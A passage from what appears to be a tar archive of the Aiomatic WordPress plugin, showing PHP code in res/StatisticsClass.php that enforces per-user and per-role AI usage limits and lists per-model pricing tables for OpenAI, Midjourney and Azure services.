?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/StatisticsClass.php�����������������������������������������������������������������������������0000644�����������������00000360130�14757771437�0011217 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php defined("ABSPATH") or die(); class Aiomatic_Statistics { private $wpdb = null; private $db_check = false; private $table_logs = null; private $table_logmeta = null; private $apiRef = null; public function __construct() { add_action('ihc_action_after_subscription_activated', array($this, 'reset_usage_after_activation'), 999, 4); add_action('ihc_action_after_subscription_renew_activated', array($this, 'reset_usage_after_renewal'), 999, 4); $aiomatic_Main_Settings = get_option("aiomatic_Main_Settings", false); global $wpdb; $this->wpdb = $wpdb; $this->table_logs = $wpdb->prefix . "aiomatic_logs"; $this->table_logmeta = $wpdb->prefix . "aiomatic_logmeta"; add_shortcode("aiomatic-user-remaining-credits-bar", [ $this, "shortcode_current", ]); if ( isset($aiomatic_Main_Settings["aiomatic_enabled"]) && $aiomatic_Main_Settings["aiomatic_enabled"] === "on" ) { if ( isset($aiomatic_Main_Settings["enable_tracking"]) && trim($aiomatic_Main_Settings["enable_tracking"]) == "on" ) { add_filter("aiomatic_stats_query", [$this, "query"], 10, 1); add_filter( "aiomatic_ai_reply", function ($reply, $query) { global $aiomatic_stats; $aiomatic_stats->addCasually($query, $reply, []); return $reply; }, 10, 2 ); add_filter( "aiomatic_ai_reply_text", function ($query, $text) { global $aiomatic_stats; $aiomatic_stats->addCasually($query, $text, []); return $text; }, 10, 2 ); aiomatic_get_session_id(); add_filter( "aiomatic_ai_allowed", [$this, "check_limits"], 1, 2 ); add_filter( "aiomatic_tts_allowed", [$this, "check_limits_tts"], 1, 2 ); } } } public function reset_usage_after_activation($uid, $lid, $firstTime, $args) { $this->deleteUsageEntries('all', false, $uid, null, null); } public function reset_usage_after_renewal($uid, $lid, $args) { $this->deleteUsageEntries('all', false, $uid, null, null); } function check_limits($allowed, $aiomatic_Limit_Settings) { global $aiomatic_stats; if (empty($aiomatic_stats)) { return $allowed; } $userId = null; if ( isset($aiomatic_Limit_Settings["enable_limits"]) && trim($aiomatic_Limit_Settings["enable_limits"]) == "on" ) { $userId = $this->getUserId(); $target = $userId ? "users" : "guests"; $skipme = false; if ($target === "users") { if ( isset($aiomatic_Limit_Settings["ignored_users"]) && $aiomatic_Limit_Settings["ignored_users"] != "" ) { $ignoredUsers = $aiomatic_Limit_Settings["ignored_users"]; } else { $ignoredUsers = "admin"; } $isAdministrator = current_user_can("manage_options"); if ($isAdministrator && $ignoredUsers == "admin") { $skipme = true; } $isEditor = current_user_can("edit_posts"); if ($isEditor && $ignoredUsers == "editor") { $skipme = true; } } if ($skipme == false) { if ( isset($aiomatic_Limit_Settings["ignored_users"]) && $aiomatic_Limit_Settings["ignored_users"] != "" ) { $ignoredUsers = $aiomatic_Limit_Settings["ignored_users"]; } else { $ignoredUsers = "admin"; } if ( isset($aiomatic_Limit_Settings["limit_message_logged"]) && $aiomatic_Limit_Settings["limit_message_logged"] != "" ) { $limit_message_logged = $aiomatic_Limit_Settings["limit_message_logged"]; } else { $limit_message_logged = esc_html__( "You have reached the usage limit.", "aiomatic-automatic-ai-content-writer" ); } if ( isset( $aiomatic_Limit_Settings["limit_message_not_logged"] ) && $aiomatic_Limit_Settings["limit_message_not_logged"] != "" ) { $limit_message_not_logged = $aiomatic_Limit_Settings["limit_message_not_logged"]; } else { $limit_message_not_logged = esc_html__( "You have reached the usage limit.", "aiomatic-automatic-ai-content-writer" ); } if ($target === "users") { if ( isset($aiomatic_Limit_Settings["user_credits"]) && $aiomatic_Limit_Settings["user_credits"] == "0" ) { return $limit_message_logged; } elseif ( !isset($aiomatic_Limit_Settings["user_credits"]) || $aiomatic_Limit_Settings["user_credits"] == "" ) { $skipme = true; } if ( isset($aiomatic_Limit_Settings["user_time_frame"]) && $aiomatic_Limit_Settings["user_time_frame"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["user_time_frame"]; } else { $timeFrame = "day"; } if ( isset($aiomatic_Limit_Settings["is_absolute_user"]) && $aiomatic_Limit_Settings["is_absolute_user"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } else { if ( isset($aiomatic_Limit_Settings["guest_credits"]) && $aiomatic_Limit_Settings["guest_credits"] == "0" ) { return $limit_message_not_logged; } elseif ( !isset($aiomatic_Limit_Settings["guest_credits"]) || $aiomatic_Limit_Settings["guest_credits"] == "" ) { $skipme = true; } if ( isset($aiomatic_Limit_Settings["guest_time_frame"]) && $aiomatic_Limit_Settings["guest_time_frame"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["guest_time_frame"]; } else { $timeFrame = "day"; } if ( isset($aiomatic_Limit_Settings["is_absolute_guest"]) && $aiomatic_Limit_Settings["is_absolute_guest"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } if ($skipme == false) { $stats = $this->query($timeFrame, $isAbsolute); if ($stats["overLimit"]) { if ($target === "users") { return $limit_message_logged; } else { return $limit_message_not_logged; } } } } } $aiomatic_Limit_Rules = get_option("aiomatic_Limit_Rules", false); if (is_array($aiomatic_Limit_Rules)) { if ( isset($aiomatic_Limit_Settings["limit_message_rule"]) && $aiomatic_Limit_Settings["limit_message_rule"] != "" ) { $limit_message_rule = $aiomatic_Limit_Settings["limit_message_rule"]; } else { $limit_message_rule = esc_html__( "You have reached the usage limit.", "aiomatic-automatic-ai-content-writer" ); } $userRoles = aiomatic_my_get_current_user_roles(); $userSubs = aiomatic_my_get_current_user_subscriptions(); if(count($userSubs) > 1) { $is_limited = array(); $no_limit_found = false; foreach($userSubs as $usub) { foreach ($aiomatic_Limit_Rules as $cont => $bundle[]) { $matching = false; $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues); for ($iji = 0; $iji < count($array_my_values); ++$iji) { if (is_string($array_my_values[$iji])) { $array_my_values[$iji] = stripslashes( $array_my_values[$iji] ); } } $user_credits = $array_my_values[0]; $user_credit_type = $array_my_values[1]; $user_time_frame = $array_my_values[2]; $absolute = $array_my_values[3]; $role = $array_my_values[4]; $active = $array_my_values[5]; $ums_sub = $array_my_values[6]; $message = $array_my_values[7]; $rule_description = $array_my_values[8]; $user_list = $array_my_values[9]; if ($active !== "1") { continue; } if ( empty($user_time_frame) || empty($user_credit_type) || empty($user_credits) ) { continue; } if ( $user_credit_type == 'pdf' || $user_credit_type == 'pdfchar' ) { continue; } $isAbsolute = false; if ($absolute == "1") { $isAbsolute = true; } if ($role == "any" || in_array($role, $userRoles)) { $matching = true; } if(!empty($user_list) && !empty($userId)) { $user_list_arr = explode(',', trim($user_list)); foreach($user_list_arr as $uli) { if($userId == $uli) { $matching = true; break; } } } if ($ums_sub == "any" || $ums_sub == $usub){ $matching = true; } elseif ($ums_sub == "nosub" && empty($userSubs)) { $matching = true; } else { if ($ums_sub !== "none") { $matching = false; } } if ($matching === true) { $stats = $this->query( $user_time_frame, $isAbsolute, $user_credits, $user_credit_type ); if ($stats["overLimit"]) { if (!empty($message)) { $is_limited[] = $message; } else { $is_limited[] = $limit_message_rule; } } else { $no_limit_found = true; } } } } if($no_limit_found == false && count($is_limited) > 0) { return $is_limited[0]; } } else { foreach ($aiomatic_Limit_Rules as $cont => $bundle[]) { $matching = false; $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues); for ($iji = 0; $iji < count($array_my_values); ++$iji) { if (is_string($array_my_values[$iji])) { $array_my_values[$iji] = stripslashes( $array_my_values[$iji] ); } } $user_credits = $array_my_values[0]; $user_credit_type = $array_my_values[1]; $user_time_frame = $array_my_values[2]; $absolute = $array_my_values[3]; $role = $array_my_values[4]; $active = $array_my_values[5]; $ums_sub = $array_my_values[6]; $message = $array_my_values[7]; $rule_description = $array_my_values[8]; $user_list = $array_my_values[9]; if ($active !== "1") { continue; } if ( empty($user_time_frame) || empty($user_credit_type) || empty($user_credits) ) { continue; } if ( $user_credit_type == 'pdf' || $user_credit_type == 'pdfchar' ) { continue; } $isAbsolute = false; if ($absolute == "1") { $isAbsolute = true; } if ($role == "any" || in_array($role, $userRoles)) { $matching = true; } if(!empty($user_list) && !empty($userId)) { $user_list_arr = explode(',', trim($user_list)); foreach($user_list_arr as $uli) { if($userId == $uli) { $matching = true; break; } } } if ($ums_sub == "any" || in_array($ums_sub, $userSubs)) { $matching = true; } elseif ($ums_sub == "nosub" && empty($userSubs)) { $matching = true; } else { if ($ums_sub !== "none") { $matching = false; } } if ($matching === true) { $stats = $this->query( $user_time_frame, $isAbsolute, $user_credits, $user_credit_type ); if ($stats["overLimit"]) { if (!empty($message)) { return $message; } else { return $limit_message_rule; } } } } } } return $allowed; } function check_limits_tts($allowed, $aiomatic_Limit_Settings) { global $aiomatic_stats; if (empty($aiomatic_stats)) { return $allowed; } if ( isset($aiomatic_Limit_Settings["enable_limits_text"]) && trim($aiomatic_Limit_Settings["enable_limits_text"]) == "on" ) { $userId = $this->getUserId(); $target = $userId ? "users" : "guests"; $skipme = false; if ($target === "users") { if ( isset($aiomatic_Limit_Settings["ignored_users_text"]) && $aiomatic_Limit_Settings["ignored_users_text"] != "" ) { $ignoredUsers = $aiomatic_Limit_Settings["ignored_users_text"]; } else { $ignoredUsers = "admin"; } $isAdministrator = current_user_can("manage_options"); if ($isAdministrator && $ignoredUsers == "admin") { $skipme = true; } $isEditor = current_user_can("edit_posts"); if ($isEditor && $ignoredUsers == "editor") { $skipme = true; } } if ($skipme == false) { if ( isset($aiomatic_Limit_Settings["ignored_users_text"]) && $aiomatic_Limit_Settings["ignored_users_text"] != "" ) { $ignoredUsers = $aiomatic_Limit_Settings["ignored_users_text"]; } else { $ignoredUsers = "admin"; } $limit_message_logged = esc_html__( "You have reached the usage limit.", "aiomatic-automatic-ai-content-writer" ); $limit_message_not_logged = esc_html__( "You have reached the usage limit.", "aiomatic-automatic-ai-content-writer" ); if ($target === "users") { if ( isset($aiomatic_Limit_Settings["user_credits_text"]) && $aiomatic_Limit_Settings["user_credits_text"] == "0" ) { return $limit_message_logged; } elseif ( !isset($aiomatic_Limit_Settings["user_credits_text"]) || $aiomatic_Limit_Settings["user_credits_text"] == "" ) { $skipme = true; } if ( isset($aiomatic_Limit_Settings["user_time_frame_text"]) && $aiomatic_Limit_Settings["user_time_frame_text"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["user_time_frame_text"]; } else { $timeFrame = "day"; } if ( isset($aiomatic_Limit_Settings["is_absolute_user_text"]) && $aiomatic_Limit_Settings["is_absolute_user_text"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } else { if ( isset($aiomatic_Limit_Settings["guest_credits_text"]) && $aiomatic_Limit_Settings["guest_credits_text"] == "0" ) { return $limit_message_not_logged; } elseif ( !isset($aiomatic_Limit_Settings["guest_credits_text"]) || $aiomatic_Limit_Settings["guest_credits_text"] == "" ) { $skipme = true; } if ( isset($aiomatic_Limit_Settings["guest_time_frame_text"]) && $aiomatic_Limit_Settings["guest_time_frame_text"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["guest_time_frame_text"]; } else { $timeFrame = "day"; } if ( isset($aiomatic_Limit_Settings["is_absolute_guest_text"]) && $aiomatic_Limit_Settings["is_absolute_guest_text"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } if ($skipme == false) { $stats = $this->query_tts($timeFrame, $isAbsolute); if ($stats["overLimit"]) { if ($target === "users") { return $limit_message_logged; } else { return $limit_message_not_logged; } } } } } return $allowed; } public function get_pdf_limits() { $pdfpage = array(); $pdfchar = array(); global $aiomatic_stats; if (empty($aiomatic_stats)) { return array($pdfpage, $pdfchar); } $userId = $this->getUserId(); $aiomatic_Limit_Rules = get_option("aiomatic_Limit_Rules", false); if (is_array($aiomatic_Limit_Rules)) { $userRoles = aiomatic_my_get_current_user_roles(); $userSubs = aiomatic_my_get_current_user_subscriptions(); if(count($userSubs) > 1) { foreach($userSubs as $usub) { foreach ($aiomatic_Limit_Rules as $cont => $bundle[]) { $matching = false; $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues); for ($iji = 0; $iji < count($array_my_values); ++$iji) { if (is_string($array_my_values[$iji])) { $array_my_values[$iji] = stripslashes( $array_my_values[$iji] ); } } $user_credits = $array_my_values[0]; $user_credit_type = $array_my_values[1]; $user_time_frame = $array_my_values[2]; $absolute = $array_my_values[3]; $role = $array_my_values[4]; $active = $array_my_values[5]; $ums_sub = $array_my_values[6]; $message = $array_my_values[7]; $rule_description = $array_my_values[8]; $user_list = $array_my_values[9]; if ($active !== "1") { continue; } if ( empty($user_time_frame) || empty($user_credit_type) || empty($user_credits) ) { continue; } if ( $user_credit_type != 'pdf' && $user_credit_type != 'pdfchar' ) { continue; } if ($role == "any" || in_array($role, $userRoles)) { $matching = true; } if(!empty($user_list) && !empty($userId)) { $user_list_arr = explode(',', trim($user_list)); foreach($user_list_arr as $uli) { if($userId == $uli) { $matching = true; break; } } } if ($ums_sub == "any" || $ums_sub == $usub){ $matching = true; } elseif ($ums_sub == "nosub" && empty($userSubs)) { $matching = true; } else { if ($ums_sub !== "none") { $matching = false; } } if ($matching === true) { if ($user_credit_type == 'pdf') { $pdfpage[] = $user_credits; } elseif ($user_credit_type == 'pdfchar') { $pdfchar[] = $user_credits; } } } } } else { foreach ($aiomatic_Limit_Rules as $cont => $bundle[]) { $matching = false; $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues); for ($iji = 0; $iji < count($array_my_values); ++$iji) { if (is_string($array_my_values[$iji])) { $array_my_values[$iji] = stripslashes( $array_my_values[$iji] ); } } $user_credits = $array_my_values[0]; $user_credit_type = $array_my_values[1]; $user_time_frame = $array_my_values[2]; $absolute = $array_my_values[3]; $role = $array_my_values[4]; $active = $array_my_values[5]; $ums_sub = $array_my_values[6]; $message = $array_my_values[7]; $rule_description = $array_my_values[8]; $user_list = $array_my_values[9]; if ($active !== "1") { continue; } if ( empty($user_time_frame) || empty($user_credit_type) || empty($user_credits) ) { continue; } if ( $user_credit_type != 'pdf' && $user_credit_type != 'pdfchar' ) { continue; } if ($role == "any" || in_array($role, $userRoles)) { $matching = true; } if(!empty($user_list) && !empty($userId)) { $user_list_arr = explode(',', trim($user_list)); foreach($user_list_arr as $uli) { if($userId == $uli) { $matching = true; break; } } } if ($ums_sub == "any" || in_array($ums_sub, $userSubs)) { $matching = true; } elseif ($ums_sub == "nosub" && empty($userSubs)) { $matching = true; } else { if ($ums_sub !== "none") { $matching = false; } } if ($matching === true) { if ($user_credit_type == 'pdf') { $pdfpage[] = $user_credits; } elseif ($user_credit_type == 'pdfchar') { $pdfchar[] = $user_credits; } } } } } $aiomatic_Limit_Settings = get_option("aiomatic_Limit_Settings", false); if ( isset($aiomatic_Limit_Settings["enable_limits"]) && trim($aiomatic_Limit_Settings["enable_limits"]) == "on" ) { $userId = $this->getUserId(); $target = $userId ? "users" : "guests"; $skipme = false; if ($target === "users") { if ( isset($aiomatic_Limit_Settings["ignored_users"]) && $aiomatic_Limit_Settings["ignored_users"] != "" ) { $ignoredUsers = $aiomatic_Limit_Settings["ignored_users"]; } else { $ignoredUsers = "admin"; } $isAdministrator = current_user_can("manage_options"); if ($isAdministrator && $ignoredUsers == "admin") { $skipme = true; } $isEditor = current_user_can("edit_posts"); if ($isEditor && $ignoredUsers == "editor") { $skipme = true; } } if ($skipme == false) { if ($target === "users") { if ( isset($aiomatic_Limit_Settings["guest_credit_type"]) && trim($aiomatic_Limit_Settings["guest_credit_type"]) == "pdf" && isset($aiomatic_Limit_Settings["guest_credits"]) && $aiomatic_Limit_Settings["guest_credits"] != "" ) { $pdfpage[] = $aiomatic_Limit_Settings["guest_credits"]; } elseif ( isset($aiomatic_Limit_Settings["guest_credit_type"]) && trim($aiomatic_Limit_Settings["guest_credit_type"]) == "pdfchar" && isset($aiomatic_Limit_Settings["guest_credits"]) && $aiomatic_Limit_Settings["guest_credits"] != "" ) { $pdfchar[] = $aiomatic_Limit_Settings["guest_credits"]; } } else { if ( isset($aiomatic_Limit_Settings["user_credit_type"]) && trim($aiomatic_Limit_Settings["user_credit_type"]) == "pdf" && isset($aiomatic_Limit_Settings["user_credits"]) && $aiomatic_Limit_Settings["user_credits"] != "" ) { $pdfpage[] = $aiomatic_Limit_Settings["user_credits"]; } elseif ( isset($aiomatic_Limit_Settings["user_credit_type"]) && trim($aiomatic_Limit_Settings["user_credit_type"]) == "pdfchar" && isset($aiomatic_Limit_Settings["user_credits"]) && $aiomatic_Limit_Settings["user_credits"] != "" ) { $pdfchar[] = $aiomatic_Limit_Settings["user_credits"]; } } } } return array($pdfpage, $pdfchar); } public function get_limits($aiomatic_Limit_Settings) { $limits = ""; $userId = null; global $aiomatic_stats; if (empty($aiomatic_stats)) { return esc_html__( "Limits not available", "aiomatic-automatic-ai-content-writer" ); } if ( isset($aiomatic_Limit_Settings["enable_limits"]) && trim($aiomatic_Limit_Settings["enable_limits"]) == "on" ) { $userId = $this->getUserId(); $target = $userId ? "users" : "guests"; $skipme = false; if ($target === "users") { if ( isset($aiomatic_Limit_Settings["ignored_users"]) && $aiomatic_Limit_Settings["ignored_users"] != "" ) { $ignoredUsers = $aiomatic_Limit_Settings["ignored_users"]; } else { $ignoredUsers = "admin"; } $isAdministrator = current_user_can("manage_options"); if ($isAdministrator && $ignoredUsers == "admin") { $skipme = true; } $isEditor = current_user_can("edit_posts"); if ($isEditor && $ignoredUsers == "editor") { $skipme = true; } } if ($skipme == false) { if ( isset($aiomatic_Limit_Settings["ignored_users"]) && $aiomatic_Limit_Settings["ignored_users"] != "" ) { $ignoredUsers = $aiomatic_Limit_Settings["ignored_users"]; } else { $ignoredUsers = "admin"; } if ($target === "users") { if ( isset($aiomatic_Limit_Settings["user_credits"]) && $aiomatic_Limit_Settings["user_credits"] == "0" ) { } elseif ( !isset($aiomatic_Limit_Settings["user_credits"]) || $aiomatic_Limit_Settings["user_credits"] == "" ) { $skipme = true; } if ( isset($aiomatic_Limit_Settings["user_time_frame"]) && $aiomatic_Limit_Settings["user_time_frame"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["user_time_frame"]; } else { $timeFrame = "day"; } if ( isset($aiomatic_Limit_Settings["is_absolute_user"]) && $aiomatic_Limit_Settings["is_absolute_user"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } else { if ( !isset($aiomatic_Limit_Settings["guest_credits"]) || $aiomatic_Limit_Settings["guest_credits"] == "" ) { $skipme = true; } if ( isset($aiomatic_Limit_Settings["guest_time_frame"]) && $aiomatic_Limit_Settings["guest_time_frame"] != "" ) { $timeFrame = $aiomatic_Limit_Settings["guest_time_frame"]; } else { $timeFrame = "day"; } if ( isset($aiomatic_Limit_Settings["is_absolute_guest"]) && $aiomatic_Limit_Settings["is_absolute_guest"] == "on" ) { $isAbsolute = true; } else { $isAbsolute = false; } } if ($skipme == false) { $stats = $this->query($timeFrame, $isAbsolute); if ($stats["queriesLimit"] != "0") { $limits .= $stats["queries"] . ' ' . esc_html__( "used", "aiomatic-automatic-ai-content-writer" ) . esc_html__(" used from a maximum of ", "aiomatic-automatic-ai-content-writer") . $stats["queriesLimit"] . " " . esc_html__( "queries", "aiomatic-automatic-ai-content-writer" ) . "/" . $timeFrame . "<br>"; } elseif ($stats["unitsLimit"] != "0") { $limits .= $stats["units"] . ' ' . esc_html__( "used", "aiomatic-automatic-ai-content-writer" ) . esc_html__(" used from a maximum of ", "aiomatic-automatic-ai-content-writer") . $stats["unitsLimit"] . " " . esc_html__( "tokens", "aiomatic-automatic-ai-content-writer" ) . "/" . $timeFrame . "<br>"; } elseif ($stats["priceLimit"] != "0") { $limits .= $stats["price"] . ' ' . esc_html__( "used", "aiomatic-automatic-ai-content-writer" ) . esc_html__(" used from a maximum of ", "aiomatic-automatic-ai-content-writer") . $stats["priceLimit"] . " " . esc_html__( "USD", "aiomatic-automatic-ai-content-writer" ) . "/" . $timeFrame . "<br>"; } } } } $aiomatic_Limit_Rules = get_option("aiomatic_Limit_Rules", false); if (is_array($aiomatic_Limit_Rules)) { $userRoles = aiomatic_my_get_current_user_roles(); $userSubs = aiomatic_my_get_current_user_subscriptions(); foreach ($aiomatic_Limit_Rules as $cont => $bundle[]) { $matching = false; $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues); for ($iji = 0; $iji < count($array_my_values); ++$iji) { if (is_string($array_my_values[$iji])) { $array_my_values[$iji] = stripslashes( $array_my_values[$iji] ); } } $user_credits = $array_my_values[0]; $user_credit_type = $array_my_values[1]; $user_time_frame = $array_my_values[2]; $absolute = $array_my_values[3]; $role = $array_my_values[4]; $active = $array_my_values[5]; $ums_sub = $array_my_values[6]; $message = $array_my_values[7]; $rule_description = $array_my_values[8]; $user_list = $array_my_values[9]; if ($active !== "1") { continue; } if ( empty($user_time_frame) || empty($user_credit_type) || empty($user_credits) ) { continue; } if ( $user_credit_type == 'pdf' || $user_credit_type == 'pdfchar' ) { continue; } $isAbsolute = false; if ($absolute == "1") { $isAbsolute = true; } if ($role == "any" || in_array($role, $userRoles)) { $matching = true; } if(!empty($user_list) && !empty($userId)) { $user_list_arr = explode(',', trim($user_list)); foreach($user_list_arr as $uli) { if($userId == $uli) { $matching = true; break; } } } if ($ums_sub == "any" || in_array($ums_sub, $userSubs)) { $matching = true; } elseif ($ums_sub == "nosub" && empty($userSubs)) { $matching = true; } else { if ($ums_sub !== "none") { $matching = false; } } if ($matching === true) { $stats = $this->query( $user_time_frame, $isAbsolute, $user_credits, $user_credit_type ); if ($stats["queriesLimit"] != "0") { $limits .= $stats["queries"] . esc_html__(" used from a maximum of ", "aiomatic-automatic-ai-content-writer") . $stats["queriesLimit"] . " " . esc_html__( "queries", "aiomatic-automatic-ai-content-writer" ) . "/" . $user_time_frame . "<br>"; } elseif ($stats["unitsLimit"] != "0") { $limits .= $stats["units"] . esc_html__(" used from a maximum of ", "aiomatic-automatic-ai-content-writer") . $stats["unitsLimit"] . " " . esc_html__( "tokens", "aiomatic-automatic-ai-content-writer" ) . "/" . $user_time_frame . "<br>"; } elseif ($stats["priceLimit"] != "0") { $limits .= $stats["price"] . esc_html__(" used from a maximum of ", "aiomatic-automatic-ai-content-writer") . $stats["priceLimit"] . " " . esc_html__( "USD", "aiomatic-automatic-ai-content-writer" ) . "/" . $user_time_frame . "<br>"; } } } } if (empty($limits)) { return esc_html__( "No limit", "aiomatic-automatic-ai-content-writer" ); } else { return $limits; } } function calculatePrice( $model, $response_units, $prompt_units = 0, $option = null ) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); // Price as of 1st November 2023: https://openai.com/api/pricing/ $openai_pricing = [ // Base models: [ "model" => "text-embedding-ada-002", "prompt_price" => 0.0001, "completion_price" => 0.0001, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "text-embedding-3-large", "prompt_price" => 0.00013, "completion_price" => 0.00013, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "text-embedding-3-small", "prompt_price" => 0.00002, "completion_price" => 0.00002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "chatgpt", "prompt_price" => 0.0010, "completion_price" => 0.002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "chatgpt-16k", "prompt_price" => 0.003, "completion_price" => 0.004, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt4", "prompt_price" => 0.03, "completion_price" => 0.06, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt4-turbo", "prompt_price" => 0.01, "completion_price" => 0.03, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt4o", "prompt_price" => 0.005, "completion_price" => 0.015, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt4omini", "prompt_price" => 0.00015, "completion_price" => 0.0006, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt4-32k", "prompt_price" => 0.06, "completion_price" => 0.12, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "davinci", "prompt_price" => 0.002, "completion_price" => 0.002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt-instruct", "prompt_price" => 0.0015, "completion_price" => 0.002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "curie", "prompt_price" => 0.002, "completion_price" => 0.002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "babbage", "prompt_price" => 0.0004, "completion_price" => 0.0004, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "ada", "prompt_price" => 0.0004, "completion_price" => 0.0004, "type" => "token", "unit" => 1 / 1000, "options" => [], ], // Image models: [ "model" => "dalle2", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.02], ["option" => "512x512", "price" => 0.018], ["option" => "256x256", "price" => 0.016], ], ], [ "model" => "dalle3", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.04], ["option" => "1024x1792", "price" => 0.08], ["option" => "1792x1024", "price" => 0.08] ], ], [ "model" => "dalle3hd", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.08], ["option" => "1024x1792", "price" => 0.12], ["option" => "1792x1024", "price" => 0.12] ], ], [ "model" => "stable-diffusion", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.02], ["option" => "512x512", "price" => 0.018], ], ], // Fine-tuned models: [ "model" => "fn-davinci", "prompt_price" => 0.012, "completion_price" => 0.012, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "fn-curie", "prompt_price" => 0.012, "completion_price" => 0.012, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "fn-babbage", "prompt_price" => 0.0016, "completion_price" => 0.0016, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "fn-ada", "prompt_price" => 0.0016, "completion_price" => 0.0016, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "fn-turbo", "prompt_price" => 0.003, "completion_price" => 0.006, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "fn-gpt4", "prompt_price" => 0.09, "completion_price" => 0.18, "type" => "token", "unit" => 1 / 1000, "options" => [], ], ]; //https://www.goapi.ai/midjourney-api $midjourney_pricing = [[ "model" => "fast", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.045], ["option" => "512x512", "price" => 0.045], ["option" => "256x256", "price" => 0.045], ["option" => "1792x1024", "price" => 0.045], ["option" => "1024x1792", "price" => 0.045], ], [ "model" => "turbo", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.1], ["option" => "512x512", "price" => 0.1], ["option" => "256x256", "price" => 0.1], ["option" => "1792x1024", "price" => 0.1], ["option" => "1024x1792", "price" => 0.1], ]], [ "model" => "mixed", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.015], ["option" => "512x512", "price" => 0.015], ["option" => "256x256", "price" => 0.015], ["option" => "1792x1024", "price" => 0.015], ["option" => "1024x1792", "price" => 0.015], ]] ] ]; //https://azure.microsoft.com/en-us/pricing/details/cognitive-services/openai-service/ $azure_pricing = [ // Base models: [ "model" => "embeddings", "prompt_price" => 0.0001, "completion_price" => 0.0001, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "chatgpt", "prompt_price" => 0.0005, "completion_price" => 0.0015, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt-instruct", "prompt_price" => 0.0015, "completion_price" => 0.002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "chatgpt-16k", "prompt_price" => 0.003, "completion_price" => 0.004, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt4", "prompt_price" => 0.03, "completion_price" => 0.06, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "gpt4-32k", "prompt_price" => 0.06, "completion_price" => 0.12, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "davinci", "prompt_price" => 0.02, "completion_price" => 0.02, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "curie", "prompt_price" => 0.002, "completion_price" => 0.002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "babbage", "prompt_price" => 0.0005, "completion_price" => 0.0005, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "ada", "prompt_price" => 0.0004, "completion_price" => 0.0004, "type" => "token", "unit" => 1 / 1000, "options" => [], ], // Image models: [ "model" => "dall-e", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.02], ["option" => "512x512", "price" => 0.02], ["option" => "256x256", "price" => 0.02], ], ], // Image models: [ "model" => "dalle3", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.04], ["option" => "1024x1792", "price" => 0.08], ["option" => "1792x1024", "price" => 0.08], ], ], [ "model" => "dalle3hd", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.08], ["option" => "1024x1792", "price" => 0.12], ["option" => "1792x1024", "price" => 0.12] ], ], [ "model" => "stable-diffusion", "type" => "image", "unit" => 1, "options" => [ ["option" => "1024x1024", "price" => 0.02], ["option" => "512x512", "price" => 0.018], ], ], // Fine-tuned models: [ "model" => "fn-davinci", "prompt_price" => 0.02, "completion_price" => 0.02, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "fn-curie", "prompt_price" => 0.002, "completion_price" => 0.002, "type" => "token", "unit" => 1 / 1000, "options" => [], ], [ "model" => "fn-babbage", 